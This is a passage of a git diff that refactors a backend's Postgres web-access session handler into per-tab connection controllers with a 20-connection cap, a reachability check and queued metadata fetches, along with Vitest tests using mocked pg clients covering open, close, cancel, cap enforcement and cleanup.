+    await client.query("SELECT 1");
+  });
diff --git a/backend/src/ee/services/pam-web-access/pam-postgres-session-handler.test.ts b/backend/src/ee/services/pam-web-access/pam-postgres-session-handler.test.ts
index 5a4bf5635eb..8d724124e62 100644
--- a/backend/src/ee/services/pam-web-access/pam-postgres-session-handler.test.ts
+++ b/backend/src/ee/services/pam-web-access/pam-postgres-session-handler.test.ts
@@ -3,13 +3,18 @@
 /* eslint-disable @typescript-eslint/no-unsafe-call */
 /* eslint-disable @typescript-eslint/no-unsafe-argument */
 /* eslint-disable @typescript-eslint/unbound-method */
+/* eslint-disable @typescript-eslint/no-explicit-any */
 import { beforeEach, describe, expect, test, vi } from "vitest";
 import type WebSocket from "ws";
 
 import { PostgresClientMessageType, PostgresServerMessageType } from "./pam-postgres-ws-types";
-import { TerminalServerMessageType, type TSessionContext, type TWebSocketServerMessage } from "./pam-web-access-types";
+import {
+  SessionEndReason,
+  TerminalServerMessageType,
+  type TSessionContext,
+  type TWebSocketServerMessage
+} from "./pam-web-access-types";
 
-// Mock logger
 vi.mock("@app/lib/logger", () => ({
   logger: {
     info: vi.fn(),
@@ -19,30 +24,55 @@ vi.mock("@app/lib/logger", () => ({
   }
 }));
 
-// Mock the REPL (terminal sessions create one eagerly)
-vi.mock("./pam-web-access-repl", () => ({
-  createPamSqlRepl: vi.fn(() => ({
-    getPrompt: vi.fn().mockReturnValue("=> "),
-    clearBuffer: vi.fn(),
-    processInput: vi.fn().mockResolvedValue({ output: "", prompt: "=> ", shouldClose: false })
-  }))
-}));
+// Per-client script lets individual tests stub behaviour for the Nth pg.Client
+// that gets constructed. Useful for simulating mid-life failures, differing
+// backend PIDs across tab controllers, etc.
+type ClientScript = {
+  connect?: () => Promise<void>;
+  query?: (text: string, values?: unknown[]) => Promise<any>;
+  end?: () => Promise<void>;
+};
+
+const clientScripts: ClientScript[] = [];
+const createdClients: MockPgClient[] = [];
+
+type MockPgClient = {
+  query: ReturnType<typeof vi.fn>;
+  connect: ReturnType<typeof vi.fn>;
+  end: ReturnType<typeof vi.fn>;
+  on: ReturnType<typeof vi.fn>;
+  emit: (event: string, ...args: unknown[]) => void;
+  _listeners: Record<string, Array<(...args: unknown[]) => void>>;
+};
 
-// Mock pg
 vi.mock("pg", () => {
-  const mockQuery = vi.fn().mockResolvedValue({ rows: [] });
-  const mockConnect = vi.fn().mockResolvedValue(undefined);
-  const mockEnd = vi.fn().mockResolvedValue(undefined);
-  const mockOn = vi.fn();
+  const makeClient = (): MockPgClient => {
+    const script = clientScripts.shift() ?? {};
+    const defaultQuery = vi.fn(async (text: string) => {
+      if (text.includes("pg_backend_pid")) return { rows: [{ pid: 1000 + createdClients.length }] };
+      return { rows: [] };
+    });
+    const listeners: Record<string, Array<(...args: unknown[]) => void>> = {};
+    const client: MockPgClient = {
+      query: vi.fn(script.query ?? defaultQuery),
+      connect: vi.fn(script.connect ?? (async () => {})),
+      end: vi.fn(script.end ?? (async () => {})),
+      on: vi.fn((event: string, cb: (...args: unknown[]) => void) => {
+        listeners[event] = listeners[event] || [];
+        listeners[event].push(cb);
+      }),
+      emit: (event: string, ...args: unknown[]) => {
+        (listeners[event] || []).forEach((cb) => cb(...args));
+      },
+      _listeners: listeners
+    };
+    createdClients.push(client);
+    return client;
+  };
 
   return {
     default: {
-      Client: vi.fn(() => ({
-        query: mockQuery,
-        connect: mockConnect,
-        end: mockEnd,
-        on: mockOn
-      }))
+      Client: vi.fn(() => makeClient())
     }
   };
 });
@@ -53,12 +83,11 @@ import pg from "pg";
 // eslint-disable-next-line import/first
 import { handlePostgresSession } from "./pam-postgres-session-handler";
 
-type MockPgClient = {
-  query: ReturnType<typeof vi.fn>;
-  connect: ReturnType<typeof vi.fn>;
-  end: ReturnType<typeof vi.fn>;
-  on: ReturnType<typeof vi.fn>;
-};
+function resetMockState() {
+  clientScripts.length = 0;
+  createdClients.length = 0;
+  (pg.Client as unknown as { mockClear: () => void }).mockClear();
+}
 
 function createMockContext(): TSessionContext & { sentMessages: TWebSocketServerMessage[] } {
   const sentMessages: TWebSocketServerMessage[] = [];
@@ -88,81 +117,318 @@ const mockParams = {
   credentials: { username: "testuser" }
 } as Parameters<typeof handlePostgresSession>[1];
 
-function getPgInstance(): MockPgClient {
-  const ClientMock = pg.Client as unknown as { mock: { results: { value: MockPgClient }[] } };
-  return ClientMock.mock.results[ClientMock.mock.results.length - 1].value;
+function getMessageHandler(ctx: TSessionContext): (data: Buffer) => void {
+  const messageCall = (ctx.socket.on as ReturnType<typeof vi.fn>).mock.calls.find(
+    ([event]: string[]) => event === "message"
+  );
+  return messageCall![1] as (data: Buffer) => void;
+}
+
+function getSentResponses(ctx: TSessionContext): any[] {
+  const send = ctx.socket.send as unknown as ReturnType<typeof vi.fn>;
+  // eslint-disable-next-line @typescript-eslint/no-unsafe-return
+  return send.mock.calls.map(([raw]) => JSON.parse(raw as string));
+}
+
+async function openConnection(ctx: TSessionContext, id = "11111111-1111-1111-1111-111111111111"): Promise<string> {
+  const onMessage = getMessageHandler(ctx);
+  onMessage(Buffer.from(JSON.stringify({ type: PostgresClientMessageType.OpenConnection, id })));
+  // Let microtasks settle for the async open flow.
+  await new Promise<void>((resolve) => {
+    setTimeout(resolve, 10);
+  });
+  const resp = getSentResponses(ctx).find((r) => r.type === PostgresServerMessageType.ConnectionOpened && r.id === id);
+  if (!resp) throw new Error("open-connection did not ack");
+  return resp.connectionId as string;
 }
 
 describe("handlePostgresSession", () => {
   beforeEach(() => {
     vi.clearAllMocks();
+    resetMockState();
   });
 
-  test("connects to database and sends ready message", async () => {
+  test("sends ready after reachability check succeeds", async () => {
+    const ctx = createMockContext();
+    await handlePostgresSession(ctx, mockParams);
+
+    expect(ctx.sendMessage).toHaveBeenCalledWith(expect.objectContaining({ type: TerminalServerMessageType.Ready }));
+    // Reachability check — one short-lived client.
+    expect(pg.Client).toHaveBeenCalledTimes(1);
+  });
+
+  test("tears down the WS when reachability check fails", async () => {
+    clientScripts.push({
+      connect: async () => {
+        throw new Error("connection refused");
+      }
+    });
     const ctx = createMockContext();
     const result = await handlePostgresSession(ctx, mockParams);
 
-    expect(pg.Client).toHaveBeenCalledWith(
-      expect.objectContaining({
-        host: "localhost",
-        port: 5432,
-        user: "testuser",
-        database: "testdb"
-      })
+    expect(ctx.sendSessionEnd).toHaveBeenCalledWith(SessionEndReason.SetupFailed);
+    expect(ctx.sendMessage).not.toHaveBeenCalledWith(
+      expect.objectContaining({ type: TerminalServerMessageType.Ready })
     );
-    expect(ctx.sendMessage).toHaveBeenCalledWith(
-      expect.objectContaining({
-        type: TerminalServerMessageType.Ready
+    expect(result.cleanup).toBeDefined();
+  });
+
+  test("open-connection creates a controller and returns connectionId + backendPid", async () => {
+    const ctx = createMockContext();
+    await handlePostgresSession(ctx, mockParams);
+
+    const connectionId = await openConnection(ctx);
+    expect(connectionId).toMatch(/[0-9a-f-]{36}/i);
+    const resp = getSentResponses(ctx).find((r) => r.type === PostgresServerMessageType.ConnectionOpened);
+    expect(resp.backendPid).toBeTypeOf("number");
+  });
+
+  test("get-schemas uses a short-lived client and works with no tab controllers", async () => {
+    const ctx = createMockContext();
+    await handlePostgresSession(ctx, mockParams);
+
+    // Script a schemas query response on the next client created.
+    clientScripts.push({
+      query: vi.fn(async (text: string) => {
+        if (text.includes("pg_namespace")) return { rows: [{ name: "public" }] };
+        return { rows: [] };
+      })
+    });
+
+    const onMessage = getMessageHandler(ctx);
+    const reqId = "22222222-2222-2222-2222-222222222222";
+    onMessage(Buffer.from(JSON.stringify({ type: PostgresClientMessageType.GetSchemas, id: reqId })));
+
+    await new Promise<void>((r) => {
+      setTimeout(r, 20);
+    });
+
+    const responses = getSentResponses(ctx);
+    const schemasResp = responses.find((r) => r.type === PostgresServerMessageType.Schemas && r.id === reqId);
+    expect(schemasResp).toBeTruthy();
+    expect(schemasResp.data).toEqual([{ name: "public" }]);
+  });
+
+  test("get-tables works while a tab controller is open", async () => {
+    const ctx = createMockContext();
+    await handlePostgresSession(ctx, mockParams);
+    await openConnection(ctx);
+
+    clientScripts.push({
+      query: vi.fn(async (text: string) => {
+        if (text.includes("pg_class")) return { rows: [{ name: "users", tableType: "table" }] };
+        return { rows: [] };
       })
+    });
+
+    const onMessage = getMessageHandler(ctx);
+    const reqId = "33333333-3333-3333-3333-333333333333";
+    onMessage(Buffer.from(JSON.stringify({ type: PostgresClientMessageType.GetTables, id: reqId, schema: "public" })));
+
+    await new Promise<void>((r) => {
+      setTimeout(r, 20);
+    });
+    const tablesResp = getSentResponses(ctx).find((r) => r.type === PostgresServerMessageType.Tables && r.id === reqId);
+    expect(tablesResp).toBeTruthy();
+    expect(tablesResp.data).toEqual([{ name: "users", tableType: "table" }]);
+  });
+
+  test("unknown connectionId on tab-scoped message returns 'Connection not found'", async () => {
+    const ctx = createMockContext();
+    await handlePostgresSession(ctx, mockParams);
+
+    const onMessage = getMessageHandler(ctx);
+    const reqId = "44444444-4444-4444-4444-444444444444";
+    onMessage(
+      Buffer.from(
+        JSON.stringify({
+          type: PostgresClientMessageType.Query,
+          id: reqId,
+          connectionId: "99999999-9999-9999-9999-999999999999",
+          sql: "SELECT 1"
+        })
+      )
     );
-    expect(result.cleanup).toBeDefined();
+
+    await new Promise<void>((r) => {
+      setTimeout(r, 10);
+    });
+    const err = getSentResponses(ctx).find((r) => r.type === PostgresServerMessageType.Error && r.id === reqId);
+    expect(err).toBeTruthy();
+    expect(err.error).toContain("Connection not found");
   });
 
-  test("registers message handler on socket", async () => {
+  test("close-connection on unknown id is a silent no-op", async () => {
     const ctx = createMockContext();
     await handlePostgresSession(ctx, mockParams);
 
-    expect(ctx.socket.on).toHaveBeenCalledWith("message", expect.any(Function));
+    const onMessage = getMessageHandler(ctx);
+    onMessage(
+      Buffer.from(
+        JSON.stringify({
+          type: PostgresClientMessageType.CloseConnection,
+          connectionId: "99999999-9999-9999-9999-999999999999"
+        })
+      )
+    );
+
+    await new Promise<void>((r) => {
+      setTimeout(r, 10);
+    });
+    const responses = getSentResponses(ctx);
+    // No response ever sent for close-connection.
+    expect(responses.filter((r) => r.type === PostgresServerMessageType.ConnectionClosed)).toEqual([]);
+    expect(responses.filter((r) => r.type === PostgresServerMessageType.Error)).toEqual([]);
   });
 
-  test("cleanup closes pg client", async () => {
+  test("cancel on unknown connectionId is a silent no-op", async () => {
     const ctx = createMockContext();
-    const result = await handlePostgresSession(ctx, mockParams);
-    const pgInstance = getPgInstance();
+    await handlePostgresSession(ctx, mockParams);
 
-    await result.cleanup();
-    expect(pgInstance.end).toHaveBeenCalled();
+    const onMessage = getMessageHandler(ctx);
+    onMessage(
+      Buffer.from(
+        JSON.stringify({
+          type: PostgresClientMessageType.Cancel,
+          connectionId: "99999999-9999-9999-9999-999999999999"
+        })
+      )
+    );
+
+    await new Promise<void>((r) => {
+      setTimeout(r, 10);
+    });
+    expect(getSentResponses(ctx)).toEqual([]);
   });
 
-  test("handles get-schemas data explorer message", async () => {
+  test("activity keepalive is accepted and emits no response", async () => {
     const ctx = createMockContext();
     await handlePostgresSession(ctx, mockParams);
 
-    const pgInstance = getPgInstance();
-    pgInstance.query.mockResolvedValue({
-      rows: [{ name: "public" }, { name: "auth" }]
+    const onMessage = getMessageHandler(ctx);
+    onMessage(Buffer.from(JSON.stringify({ type: PostgresClientMessageType.Activity })));
+
+    await new Promise<void>((r) => {
+      setTimeout(r, 10);
     });
+    expect(getSentResponses(ctx)).toEqual([]);
+    expect(ctx.sendSessionEnd).not.toHaveBeenCalled();
+  });
+
+  test("server-initiated controller death removes entry and emits connection-closed", async () => {
+    const ctx = createMockContext();
+    await handlePostgresSession(ctx, mockParams);
+    const connectionId = await openConnection(ctx);
 
-    // Get the message handler callback
-    const messageCall = (ctx.socket.on as ReturnType<typeof vi.fn>).mock.calls.find(
-      ([event]: string[]) => event === "message"
+    // Grab the tab controller's pg.Client (created after reachability client).
+    const tabClient = createdClients[1];
+    tabClient.emit("error", new Error("peer reset"));
+
+    await new Promise<void>((r) => {
+      setTimeout(r, 10);
+    });
+    const closedEvt = getSentResponses(ctx).find(
+      (r) => r.type === PostgresServerMessageType.ConnectionClosed && r.connectionId === connectionId
     );
-    const onMessage = messageCall?.[1] as ((data: Buffer) => void) | undefined;
+    expect(closedEvt).toBeTruthy();
+    expect(closedEvt.reason).toBe("peer reset");
 
-    if (onMessage) {
-      const msg = Buffer.from(
-        JSON.stringify({ type: PostgresClientMessageType.GetSchemas, id: "550e8400-e29b-41d4-a716-446655440000" })
-      );
-      onMessage(msg);
+    // Subsequent tab-scoped message for the same id should now miss.
+    const onMessage = getMessageHandler(ctx);
+    const reqId = "55555555-5555-5555-5555-555555555555";
+    onMessage(
+      Buffer.from(
+        JSON.stringify({
+          type: PostgresClientMessageType.Query,
+          id: reqId,
+          connectionId,
+          sql: "SELECT 1"
+        })
+      )
+    );
+    await new Promise<void>((r) => {
+      setTimeout(r, 10);
+    });
+    const err = getSentResponses(ctx).find((r) => r.type === PostgresServerMessageType.Error && r.id === reqId);
+    expect(err.error).toContain("Connection not found");
+  });
 
-      // Wait for async processing
-      await new Promise<void>((resolve) => {
-        setTimeout(resolve, 50);
-      });
+  test("exceeding MAX_CONNECTIONS_PER_WS returns connection-open-failed", async () => {
+    const ctx = createMockContext();
+    await handlePostgresSession(ctx, mockParams);
+
+    for (let i = 0; i < 20; i += 1) {
+      // eslint-disable-next-line no-await-in-loop
+      await openConnection(ctx, `aaaaaaaa-aaaa-aaaa-aaaa-${String(i).padStart(12, "0")}`);
+    }
+
+    const onMessage = getMessageHandler(ctx);
+    const overflowId = "bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb";
+    onMessage(Buffer.from(JSON.stringify({ type: PostgresClientMessageType.OpenConnection, id: overflowId })));
+    await new Promise<void>((r) => {
+      setTimeout(r, 10);
+    });
+    const failed = getSentResponses(ctx).find(
+      (r) => r.type === PostgresServerMessageType.ConnectionOpenFailed && r.id === overflowId
+    );
+    expect(failed).toBeTruthy();
+    expect(failed.error).toContain("Maximum");
+  });
 
-      expect((ctx.socket as unknown as { send: ReturnType<typeof vi.fn> }).send).toHaveBeenCalledWith(
-        expect.stringContaining(`"${PostgresServerMessageType.Schemas}"`)
+  test("concurrent open-connection requests cannot bypass the cap", async () => {
+    // Simulates a client firing 25 opens at once. Without the pendingOpens
+    // counter, each check against controllers.size would see 0 before any
+    // controller finished connecting, and all 25 would succeed.
+    const ctx = createMockContext();
+    await handlePostgresSession(ctx, mockParams);
+
+    const onMessage = getMessageHandler(ctx);
+    const ATTEMPTS = 25;
+    for (let i = 0; i < ATTEMPTS; i += 1) {
+      onMessage(
+        Buffer.from(
+          JSON.stringify({
+            type: PostgresClientMessageType.OpenConnection,
+            id: `eeeeeeee-eeee-eeee-eeee-${String(i).padStart(12, "0")}`
+          })
+        )
       );
     }
+
+    await new Promise<void>((r) => {
+      setTimeout(r, 50);
+    });
+
+    const opened = getSentResponses(ctx).filter((r) => r.type === PostgresServerMessageType.ConnectionOpened);
+    const failed = getSentResponses(ctx).filter((r) => r.type === PostgresServerMessageType.ConnectionOpenFailed);
+    expect(opened.length).toBe(20);
+    expect(failed.length).toBe(ATTEMPTS - 20);
+  });
+
+  test("cleanup disposes every controller", async () => {
+    const ctx = createMockContext();
+    const result = await handlePostgresSession(ctx, mockParams);
+    await openConnection(ctx, "cccccccc-cccc-cccc-cccc-cccccccccccc");
+    await openConnection(ctx, "dddddddd-dddd-dddd-dddd-dddddddddddd");
+
+    const tabClients = createdClients.slice(1, 3);
+
+    await result.cleanup();
+
+    tabClients.forEach((c) => {
+      expect(c.end).toHaveBeenCalled();
+    });
+  });
+
+  test("two tab controllers have independent backendPids", async () => {
+    const ctx = createMockContext();
+    await handlePostgresSession(ctx, mockParams);
+
+    await openConnection(ctx, "eeeeeeee-eeee-eeee-eeee-eeeeeeeeeeee");
+    await openConnection(ctx, "ffffffff-ffff-ffff-ffff-ffffffffffff");
+
+    const opens = getSentResponses(ctx).filter((r) => r.type === PostgresServerMessageType.ConnectionOpened);
+    expect(opens).toHaveLength(2);
+    expect(opens[0].backendPid).not.toBe(opens[1].backendPid);
   });
 });
diff --git a/backend/src/ee/services/pam-web-access/pam-postgres-session-handler.ts b/backend/src/ee/services/pam-web-access/pam-postgres-session-handler.ts
index 43d3d89c22e..cbf32726388 100644
--- a/backend/src/ee/services/pam-web-access/pam-postgres-session-handler.ts
+++ b/backend/src/ee/services/pam-web-access/pam-postgres-session-handler.ts
@@ -1,6 +1,4 @@
-import { parse as parseSql } from "libpg-query";
-import pg from "pg";
-import Cursor from "pg-cursor";
+import crypto from "crypto";
 
 import {
   TPostgresAccountCredentials,
@@ -8,15 +6,18 @@ import {
 } from "@app/ee/services/pam-resource/postgres/postgres-resource-types";
 import { logger } from "@app/lib/logger";
 
-import { getSchemasQuery, getTableDetailQuery, getTablesQuery } from "./pam-postgres-data-explorer-metadata";
+import {
+  createPostgresConnectionController,
+  type TPostgresConnectionController
+} from "./pam-postgres-connection-controller";
+import { fetchSchemasOneShot, fetchTablesOneShot, verifyReachabilityOneShot } from "./pam-postgres-metadata";
 import {
   PostgresClientMessageSchema,
   PostgresClientMessageType,
   PostgresServerMessageType,
   type TPostgresCorrelatedServerMessage
 } from "./pam-postgres-ws-types";
-import { parseClientMessage, resolveEndReason } from "./pam-web-access-fns";
-import { createPamSqlRepl } from "./pam-web-access-repl";
+import { parseClientMessage } from "./pam-web-access-fns";
 import {
   SessionEndReason,
   TerminalServerMessageType,
@@ -29,56 +30,52 @@ type TPostgresSessionParams = {
   credentials: TPostgresAccountCredentials;
 };
 
+// Fan-out bound inside a single already-authenticated WS session.
+const MAX_CONNECTIONS_PER_WS = 20;
+
+// Unwrap a pg driver error into the shape our WS error responses expect.
+const toPgErrorFields = (err: unknown) => {
+  const pgErr = err as { message?: string; detail?: string; hint?: string };
+  return { message: pgErr.message, detail: pgErr.detail, hint: pgErr.hint };
+};
+
 export const handlePostgresSession = async (
   ctx: TSessionContext,
   params: TPostgresSessionParams
 ): Promise<TSessionHandlerResult> => {
-  const { socket, relayPort, resourceName, sessionId, sendMessage, sendSessionEnd, isNearSessionExpiry, onCleanup } =
-    ctx;
+  const { socket, relayPort, resourceName, sessionId, sendMessage, sendSessionEnd, onCleanup } = ctx;
   const { connectionDetails, credentials } = params;
 
-  // Type parser shared between the pg.Client and pg-cursor instances so all
-  // results — whether fetched via the simple query path or cursor — apply the
-  // same normalisation rules.
-  const pgTypes = {
-    getTypeParser: (oid: number) => {
-      // Boolean (OID 16): Postgres wire protocol sends 't'/'f' — expand to 'true'/'false'
-      // so the Data Explorer UI displays human-readable literals.
-      if (oid === 16)
-        return (val: string | Buffer) => {
-          const raw = typeof val === "string" ? val : val.toString("utf8");
-          return raw === "t" ? "true" : "false";
-        };
-      return (val: string | Buffer) => (typeof val === "string" ? val : val.toString("hex"));
-    }
+  const oneShotOpts = {
+    relayPort,
+    username: credentials.username,
+    database: connectionDetails.database
   };
 
-  const pgClient = new pg.Client({
-    host: "localhost",
-    port: relayPort,
-    user: credentials.username,
-    database: connectionDetails.database,
-    password: "",
-    ssl: false,
-    connectionTimeoutMillis: 30_000,
-    statement_timeout: 30_000,
-    types: pgTypes
-  });
-
-  await pgClient.connect();
-
-  const { rows: pidRows } = await pgClient.query<{ pid: number }>("SELECT pg_backend_pid() AS pid");
-  const backendPid = pidRows[0]?.pid;
-
-  const repl = createPamSqlRepl(pgClient);
+  // Early reachability check — fail fast before sending ready, preserving the
+  // early "Connection error" UX the FE relies on.
+  try {
+    await verifyReachabilityOneShot(oneShotOpts);
+  } catch (err) {
+    logger.error(err, `Postgres reachability check failed [sessionId=${sessionId}]`);
+    sendSessionEnd(SessionEndReason.SetupFailed);
+    onCleanup();
+    try {
+      socket.close();
+    } catch {
+      // ignore
+    }
+    return {
+      cleanup: async () => {}
+    };
+  }
 
   sendMessage({
     type: TerminalServerMessageType.Ready,
-    data: `Connected to ${resourceName} (${connectionDetails.database}) as ${credentials.username}\n\n`,
-    prompt: "=> "
+    data: `Connected to ${resourceName} (${connectionDetails.database}) as ${credentials.username}\n\n`
   });
 
-  logger.info({ sessionId }, "Postgres web access session established");
+  logger.info(`Postgres web access session established [sessionId=${sessionId}]`);
 
   const sendResponse = (msg: TPostgresCorrelatedServerMessage) => {
     try {
@@ -86,289 +83,198 @@ export const handlePostgresSession = async (
         socket.send(JSON.stringify(msg));
       }
     } catch (err) {
-      logger.error(err, "Failed to send WebSocket message");
+      logger.error(err, `Failed to send WebSocket message [sessionId=${sessionId}]`);
     }
   };
 
-  // Server-side transaction state — updated after every query so the client
-  // always receives the authoritative value, including for multi-statement SQL.
-  let isInTransaction = false;
+  const controllers = new Map<string, TPostgresConnectionController>();
+  // Reserved slots for in-flight opens — counted against the cap so a burst of
+  // open-connection messages can't all pass the check before any of them
+  // finishes inserting into `controllers`.
+  let pendingOpens = 0;
 
-  // Shared error handler for correlated query messages
-  const sendQueryError = async (id: string, err: unknown) => {
-    const pgErr = err as { message?: string; detail?: string; hint?: string };
-
-    // If the failed query was inside a transaction, roll back so the
-    // connection is not stuck in an aborted transaction state.
-    try {
-      await pgClient.query("ROLLBACK");
-    } catch {
-      // ROLLBACK fails if there was no active transaction — safe to ignore.
-    }
+  // Metadata requests (get-schemas / get-tables) are processed outside any
+  // controller queue so sidebar refreshes don't block tab work.
+  let metadataPromise: Promise<void> = Promise.resolve();
 
-    isInTransaction = false;
+  // --- Per-message handlers ---
 
-    sendResponse({
-      type: PostgresServerMessageType.Error,
-      id,
-      error: pgErr.message ?? "Query execution failed",
-      detail: pgErr.detail,
-      hint: pgErr.hint
-    });
-  };
+  const openTabConnection = async (requestId: string) => {
+    if (controllers.size + pendingOpens >= MAX_CONNECTIONS_PER_WS) {
+      sendResponse({
+        type: PostgresServerMessageType.ConnectionOpenFailed,
+        id: requestId,
+        error: `Maximum ${MAX_CONNECTIONS_PER_WS} connections per session reached`
+      });
+      return;
+    }
 
-  // Cancel the currently running query via pg_cancel_backend.
-  // Runs on a separate connection so it is not blocked by the sequential queue.
-  const cancelRunningQuery = async () => {
-    if (!backendPid) return;
-    const pid = backendPid;
-    const cancelClient = new pg.Client({
-      host: "localhost",
-      port: relayPort,
-      user: credentials.username,
-      database: connectionDetails.database,
-      password: "",
-      ssl: false,
-      connectionTimeoutMillis: 5_000
-    });
+    pendingOpens += 1;
+    const connectionId = crypto.randomUUID();
     try {
-      await cancelClient.connect();
-      await cancelClient.query("SELECT pg_cancel_backend($1)", [pid]);
+      const controller = await createPostgresConnectionController({
+        relayPort,
+        username: credentials.username,
+        database: connectionDetails.database,
+        sessionId,
+        connectionId,
+        sendResponse,
+        onUnexpectedTermination: (reason) => {
+          if (!controllers.has(connectionId)) return;
+          controllers.delete(connectionId);
+          sendResponse({
+            type: PostgresServerMessageType.ConnectionClosed,
+            connectionId,
+            reason
+          });
+        }
+      });
+      controllers.set(connectionId, controller);
+      sendResponse({
+        type: PostgresServerMessageType.ConnectionOpened,
+        id: requestId,
+        connectionId,
+        backendPid: controller.backendPid
+      });
     } catch (err) {
-      logger.debug(err, "Failed to cancel backend query");
+      const msg = err instanceof Error ? err.message : "Failed to open connection";
+      logger.error(err, `Failed to open tab connection [sessionId=${sessionId}]`);
+      sendResponse({
+        type: PostgresServerMessageType.ConnectionOpenFailed,
+        id: requestId,
+        error: msg
+      });
     } finally {
-      await cancelClient.end().catch(() => {});
+      pendingOpens -= 1;
     }
   };
 
-  // Sequential message processing to prevent concurrent query issues
-  let processingPromise = Promise.resolve();
-
-  socket.on("message", (rawData: Buffer | ArrayBuffer | Buffer[]) => {
-    const message = parseClientMessage(rawData, PostgresClientMessageSchema);
-
-    // Cancel is handled immediately outside the sequential queue so it can
-    // interrupt a running query rather than waiting behind it.
-    if (message?.type === PostgresClientMessageType.Cancel) {
-      void cancelRunningQuery();
-      return;
-    }
-
-    processingPromise = processingPromise
+  // Queue a metadata fetch (schemas / tables) behind any in-flight metadata
+  // call so one-shot pg.Clients don't pile up. Errors are normalised into
+  // PostgresServerMessageType.Error responses tied to the request id.
+  const queueMetadata = <T>(
+    requestId: string,
+    fetcher: () => Promise<T>,
+    onSuccess: (rows: T) => TPostgresCorrelatedServerMessage,
+    fallbackError: string
+  ) => {
+    metadataPromise = metadataPromise
       .then(async () => {
-        if (!message) {
-          sendMessage({
-            type: TerminalServerMessageType.Output,
-            data: "Invalid message format\n",
-            prompt: repl.getPrompt()
+        try {
+          const rows = await fetcher();
+          sendResponse(onSuccess(rows));
+        } catch (err) {
+          const { message: errMsg, detail, hint } = toPgErrorFields(err);
+          sendResponse({
+            type: PostgresServerMessageType.Error,
+            id: requestId,
+            error: errMsg ?? fallbackError,
+            detail,
+            hint
           });
-          return;
         }
+      })
+      .catch(() => {});
+  };
 
-        switch (message.type) {
-          case PostgresClientMessageType.GetSchemas: {
-            try {
-              const query = getSchemasQuery();
-              const result = await pgClient.query(query.text, query.values);
-              sendResponse({
-                type: PostgresServerMessageType.Schemas,
-                id: message.id,
-                data: result.rows as { name: string }[]
-              });
-            } catch (err) {
-              await sendQueryError(message.id, err);
-            }
-            break;
-          }
-
-          case PostgresClientMessageType.GetTables: {
-            try {
-              const query = getTablesQuery(message.schema);
-              const result = await pgClient.query(query.text, query.values);
-              sendResponse({
-                type: PostgresServerMessageType.Tables,
-                id: message.id,
-                data: result.rows as { name: string; tableType: string }[]
-              });
-            } catch (err) {
-              await sendQueryError(message.id, err);
-            }
-            break;
-          }
-
-          case PostgresClientMessageType.GetTableDetail: {
-            try {
-              const query = getTableDetailQuery(message.schema, message.table);
-              const result = await pgClient.query<{ result: string }>(query.text, query.values);
-              const rawDetail = result.rows[0]?.result;
-              if (!rawDetail) {
-                sendResponse({
-                  type: PostgresServerMessageType.Error,
-                  id: message.id,
-                  error: "Table not found or no metadata available"
-                });
-                break;
-              }
-              const detail =
-                typeof rawDetail === "string"
-                  ? (JSON.parse(rawDetail) as Record<string, unknown>)
-                  : (rawDetail as unknown as Record<string, unknown>);
-              sendResponse({
-                type: PostgresServerMessageType.TableDetail,
-                id: message.id,
-                data: detail as {
-                  columns: {
-                    name: string;
-                    type: string;
-                    nullable: boolean;
-                    identityGeneration: string | null;
-                  }[];
-                  primaryKeys: string[];
-                  foreignKeys: {
-                    constraintName: string;
-                    columns: string[];
-                    targetSchema: string;
-                    targetTable: string;
-                    targetColumns: string[];
-                  }[];
-                }
-              });
-            } catch (err) {
-              await sendQueryError(message.id, err);
-            }
-            break;
-          }
-
-          case PostgresClientMessageType.Query: {
-            try {
-              const startTime = performance.now();
-              const MAX_ROWS = 1000;
-
-              // Split the SQL into individual statements using the real PostgreSQL C parser
-              // (via libpg-query WASM). Each statement is then run through a pg-cursor with
-              // an explicit row cap — the server sends at most MAX_ROWS+1 rows at the wire
-              // level regardless of result set size, so memory usage is bounded.
-              // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment
-              const parsed = await parseSql(message.sql);
-              // eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
-              const stmtTexts = (parsed.stmts as Array<{ stmt_location?: number; stmt_len?: number }>).map((s) => {
-                const location = s.stmt_location ?? 0;
-                return s.stmt_len !== undefined
-                  ? message.sql.slice(location, location + s.stmt_len)
-                  : message.sql.slice(location).trim();
-              });
-
-              let lastRows: Record<string, unknown>[] = [];
-              let lastFields: { name: string }[] = [];
-              let lastRowCount: number | null = null;
-              let lastCommand = "";
-              let lastIsTruncated = false;
-
-              for (const stmtSql of stmtTexts) {
-                const cursor = pgClient.query(new Cursor(stmtSql.trim(), null, { types: pgTypes }));
-                // eslint-disable-next-line no-await-in-loop
-                const stmtRows = await cursor.read(MAX_ROWS + 1);
-                const stmtIsTruncated = stmtRows.length > MAX_ROWS;
-                if (stmtIsTruncated) stmtRows.splice(MAX_ROWS);
-                // eslint-disable-next-line no-await-in-loop
-                await cursor.close();
-
-                // eslint-disable-next-line no-underscore-dangle
-                const cursorResult = cursor._result;
-                const cmd = (cursorResult.command ?? "").toUpperCase();
-                if (cmd === "BEGIN" || cmd === "START") isInTransaction = true;
-                if (cmd === "COMMIT" || cmd === "ROLLBACK") isInTransaction = false;
-
-                lastRows = stmtRows;
-                lastFields = (cursorResult.fields ?? []).map((f) => ({ name: f.name }));
-                lastRowCount = cursorResult.rowCount;
-                lastCommand = cursorResult.command ?? "";
-                lastIsTruncated = stmtIsTruncated;
-              }
+  socket.on("message", (rawData: Buffer | ArrayBuffer | Buffer[]) => {
+    const message = parseClientMessage(rawData, PostgresClientMessageSchema);
+    if (!message) return;
+
+    switch (message.type) {
+      case PostgresClientMessageType.Control: {
+        if (message.data === "quit") {
+          sendSessionEnd(SessionEndReason.UserQuit);
+          onCleanup();
+          socket.close();
+        }
+        break;
+      }
 
-              const executionTimeMs = Math.round(performance.now() - startTime);
-              sendResponse({
-                type: PostgresServerMessageType.QueryResult,
-                id: message.id,
-                rows: lastRows,
-                fields: lastFields,
-                rowCount: lastRowCount,
-                isTruncated: lastIsTruncated,
-                transactionOpen: isInTransaction,
-                command: lastCommand,
-                executionTimeMs
-              });
-            } catch (err) {
-              await sendQueryError(message.id, err);
-            }
-            break;
-          }
+      case PostgresClientMessageType.OpenConnection: {
+        void openTabConnection(message.id);
+        break;
+      }
 
-          case PostgresClientMessageType.Control: {
-            if (message.data === "quit") {
-              sendSessionEnd(SessionEndReason.UserQuit);
-              onCleanup();
-              socket.close();
-              return;
-            }
-            if (message.data === "clear-buffer") {
-              repl.clearBuffer();
-            }
-            break;
-          }
+      case PostgresClientMessageType.CloseConnection: {
+        const controller = controllers.get(message.connectionId);
+        if (!controller) return;
+        controllers.delete(message.connectionId);
